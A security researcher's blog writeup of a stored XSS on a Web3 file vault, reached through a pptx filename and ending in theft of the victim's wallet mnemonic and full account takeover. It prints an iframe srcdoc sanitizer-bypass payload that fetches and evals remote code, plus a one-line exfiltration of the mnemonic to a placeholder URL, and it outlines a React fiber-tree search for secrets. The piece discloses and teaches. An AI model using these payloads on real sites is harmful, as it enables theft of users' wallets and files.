back to writeups

Stored XSS to Full Account Takeover on a Web3 Platform

xss web3 pentest account takeover

tl;dr

found a stored xss on a web3 app through the filename of a pptx upload. ended up walking the React fiber tree in memory, grabbed the victim's 24-word mnemonic, and from there it was game over. full vault access, decrypted all their files.

what was this thing

so the app was basically a web3 file vault. you upload files, they get encrypted client-side with keys derived from your hd wallet. React SPA, serverless backend, the whole deal. the important bit: the mnemonic only existed in memory. never touched disk, never hit an api. just sitting there in React state.

that detail matters later.

getting in

started by going through the minified js bundle (fun times). with some help from AI to speed up the analysis, found a component that renders pptx files, basically a built-in document viewer. and yeah, it was using dangerouslySetInnerHTML. classic.

traced the flow back and noticed the filename gets shoved into a template literal before it even reaches the sanitizer. so the filename is basically treated as trusted content. spoiler: it shouldn't be.

bypassing the sanitizer

they had a regex-based sanitizer running on the rendered output, but the injection point was the filename, which got processed before the sanitizer could do anything useful.

the bypass was pretty simple honestly. shove an <iframe srcdoc> with html-encoded entities into the filename:

<iframe srcdoc="&lt;script&gt;fetch(PAYLOAD_URL).then(r=>r.text()).then(eval)&lt;/script&gt;">

sanitizer sees encoded stuff, thinks it's fine, lets it through. browser renders the srcdoc, decodes everything, and boom. script execution. and since the actual payload gets fetched from an external url, the filename length doesn't matter at all.

the fun part: stealing from React's brain

ok so now i have js execution. cool. but where's the mnemonic? not in localstorage. not in cookies. not in any api response i could intercept. it literally only exists inside React's internal state. in ram.

ended up building a payload (with AI helping on the fiber traversal logic) that walks the React fiber tree, the internal data structure React uses to keep track of component state. basically crawling through every component's state looking for something that looks like a bip39 mnemonic. filter for valid words and you find it.

24 words. the whole wallet. exfil was dead simple:

new Image().src = EXFIL_URL + "?m=" + encodeURIComponent(mnemonic);

going all the way

with the mnemonic in hand the rest was just following the app's own logic:

  1. derive the private key (same pbkdf2 params: 200k iterations, sha-256, username as salt)
  2. sign an eip-191 message to auth against the api
  3. list every file in the victim's vault
  4. download + decrypt everything with the derived aes-gcm keys

impact

victim opens a shared pptx. that's it. no extra clicks, no weird prompts, nothing. just open the file and the attacker gets:

  • your full 24-word mnemonic
  • can derive all your keys, sign whatever
  • download and decrypt every file you have
  • complete account takeover

what i think about this

some stuff that stuck with me after this one:

  • dangerouslySetInnerHTML keeps earning its name
  • people forget filenames are user input too
  • "it's only in memory so it's safe"... no it's not, xss can read react state
  • fiber tree traversal is actually a legit post-xss technique, not just a ctf trick
  • iframe srcdoc + encoded entities is a nice way past regex sanitizers
back to writeups